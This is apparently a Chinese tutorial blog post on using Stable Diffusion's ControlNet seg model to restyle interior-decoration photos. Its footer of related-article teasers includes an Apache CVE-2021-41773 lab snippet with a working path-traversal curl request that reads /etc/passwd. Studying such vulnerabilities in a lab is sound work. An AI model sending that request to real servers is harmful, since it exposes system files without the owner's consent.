Stable Diffusion 使用详解(12)--- 设计师风格变换

ops/2024/9/23 15:54:55/

目录

背景

seg模型(语义分割)

描述

原理

实战-装修风格变换

现代风格

欧式风格转换

提示词及相关参数设置

模型选择

seg cn 加持

效果

还能做点啥

问题

解决方法

出图效果

二次优化调整

二次出图效果

 地中海风格转换

参数修改

效果

展示

二次优化


背景

其实在 Stable Diffusion 使用详解(11)--- 场景ICON制作-CSDN博客 以及本专栏之前的文章已经详细讲述了 controlNet的基本使用。绘画其实并不是我的强项,我是foucus在AI编程及架构上,但是其实你如果懂AI模型的训练及微调过程,做一个完整的AI项目,对于stable diffusion 的使用那就是轻松拿捏,内功在那里了,还怕不能触类旁通吗。今天我们看看另一个 controlNet,语义分割 Seg 的使用。其实吧,这个Seg 名字取得有点高大上了,语义分割可能让你摸不着头脑,如果你之前接触过 LLM 机器编程,可能会觉得有点对不上,这很正常,这与AI处理 LLM 中的语义 不是同一个东西。他之所以用语义分割来描述,本质上是想通过色块分类来区别一副图片上的实物,哪些是草,哪些是山,哪些是房子,小一点的,哪些是椅子,茶几,桌子,地毯,电视 等等等等。你可能会问,区分这些来干什么,这个用处就比较多了,我随便举个例子吧,你家房子的装修风格是现代风格,你想改造改造,变为欧式风格,怎么出效果图?你也不用找设计师了,你就自己做一个可以先看看效果,而且几秒钟搞定,可能你请的设计师也是通过 AI,毫不夸张的说就说通过 stable diffusion,转换了下,因为二次装修嘛,可能你也不会穿墙打洞,做结构特性调整了。即使做二次调整,问题也不大,我们看看是怎么处理的。你看懂了他,可能你也就是装修设计大师了,maybe 你也能出装修效果图。虽然他只是stable diffusion 使用的冰山一角。

seg模型(语义分割)

描述

是一种强大的工具,它可以将图像中的元素按照不同的类别进行分割,这对于图像编辑、风格迁移以及AI绘图等领域具有广泛的应用价值。

原理

语义分割是一种计算机视觉技术,它能够将图像中的每个像素点分配给一个特定的类别标签。
在ControlNet中,seg模型通过深度学习算法对图像进行理解,并自动将图像中的元素划分为不同的类别。

实战-装修风格变换

现代风格

假设你家装修是这个样子,并且是现代风格,我是网上任意找了一张图。你看烦了,想重新装修为欧式风格。怎么处理?

欧式风格转换

提示词及相关参数设置

这部分不是重点,但也是需要的,配合语义的理解,更好的指导 stable diffsuiion 完成相关作画。

正向提示词:

European style decoration,Roman column,atmospheric grade,

负向提示词:

ng_deepnegative_v1_75t,(badhandv4:1.2),EasyNegative,(worst quality:2),

其他设置如下:

模型选择

选择偏真实系的吧,毕竟是现实装修世界。你说我选的这个怎么是偏真实人物风格的?其实问题不大,在真实系模型训练的时候,除了训练人,物体也要训练吧,比如山川,石头,河流等。小到家具家电。看似与人物没关系,但是真实系 这三个字出来了,这些都妥不了干系,不然就是model 训练的不够 solid。

seg cn 加持

这个是比较关键的一步。

看到了吧,其实设置比较简单。直接看出图效果吧。

效果

看看与原来的现代风格相比,基本物体保持了一样,但是风格不一样吧。挺华丽的,这可能就是为什么欧式风格相比现代风格比较贵的原因吧。

还能做点啥

问题

如果你觉得前面这本椅子太碍眼了,想去掉,怎么处理?

解决方法

PS 删除椅子那一部分就行。我们试试看。

再来生图

注意预处理选择 none,不要再之上再来一次seg,那样就不准了。

上面该有的提示词还是要有的。

出图效果

二次优化调整

还是很不错的,进一步,如果你还想和上面刚生成的保持更加一致,怎么办?还记得我说的 seed 吗?加上试试看吧。

二次出图效果

 地中海风格转换

参数修改

Mediterranean style,blue and white style,

其他都不用动,还是 seg 加持,看看效果。

效果

展示

二次优化

改成地中海地砖,顶面再修饰下。

Mediterranean style,blue and white style,blue Mediterranean vintage floor tiles,Surrounded by light blue paint walls,

其他不动

其实这种顶面我也挺喜欢。四周再与上面结合下,你可以自己试试看。


http://www.ppmy.cn/ops/114843.html

相关文章

Apache CVE-2021-41773 漏洞攻略

1.环境搭建 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.使用poc curl http://192.16.10.190:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 3.工具验证

大厂面试真题:简单说下Redis的bigkey

什么是bigkey bigkey是指key对应的value所占的内存空间比较大,例如一个字符串类型的value可以最大存到512MB,一个列表类型的value最多可以存储23-1个元素。 如果按照数据结构来细分的话,一般分为字符串类型bigkey和非字符串类型bigkey。 字…

【设计模式】万字详解:深入掌握五大基础行为模式

作者:后端小肥肠 🍇 我写过的文章中的相关代码放到了gitee,地址:xfc-fdw-cloud: 公共解决方案 🍊 有疑问可私信或评论区联系我。 🥑 创作不易未经允许严禁转载。 姊妹篇: 【设计模式】&#xf…

TinkerTool System for Mac实用软件系统维护工具

TinkerTool System 是一款功能全面且强大的 Mac 实用软件,具有以下特点和功能: 软件下载地址 维护功能: 磁盘清理:能够快速扫描并清理系统中的垃圾文件、临时文件以及其他无用文件,释放宝贵的磁盘空间,保…

爬虫框架之Scrapy介绍——高效方便

# 近年来大数据分析、数据可视化和python等课程逐渐在大学各个学科中铺展开来,这样一来爬虫在平时小作业和期中、期末报告中出现的频率也逐渐变高。那么单一的使用requests库,自己从头到尾的的设计,考虑数据提取、线程管理和数据存储等方方面…

SpringBoot实战(三十)发送HTTP/HTTPS请求的五种实现方式【下篇】(Okhttp3、RestTemplate、Hutool)

目录 一、五种实现方式对比结果二、Demo接口地址实现方式三、Okhttp3 库实现3.1 简介3.2 Maven依赖3.3 配置文件3.4 配置类3.5 工具类3.6 示例代码3.7 执行结果实现方式四、Spring 的 RestTemplate 实现4.1 简介4.2 Maven依赖4.3 配置文件4.4 配置类4.5 HttpClient 和 RestTemp…

vue的基本原理

Vue.js 的基本原理可以分为几个核心部分来理解:响应式系统、虚拟 DOM、模板编译、组件化系统、指令系统,以及 Vue 的生命周期。这些原理共同构成了 Vue 的运行机制。 1. 响应式系统 Vue 的响应式系统是其核心原理之一。Vue 通过 数据劫持 技术来实现视…

小程序与APP的区别

目录 前言1. 开发方式与成本2. 运行环境与获取途径3. 功能复杂度与交互体验4. 更新与维护5. 推广与用户获取6. 占用空间与存储7. 可分享性总结 前言 小程序与APP作为两种不同类型的应用程序,它们在多个方面存在明显的区别。以下是对这些区别的详细阐述:…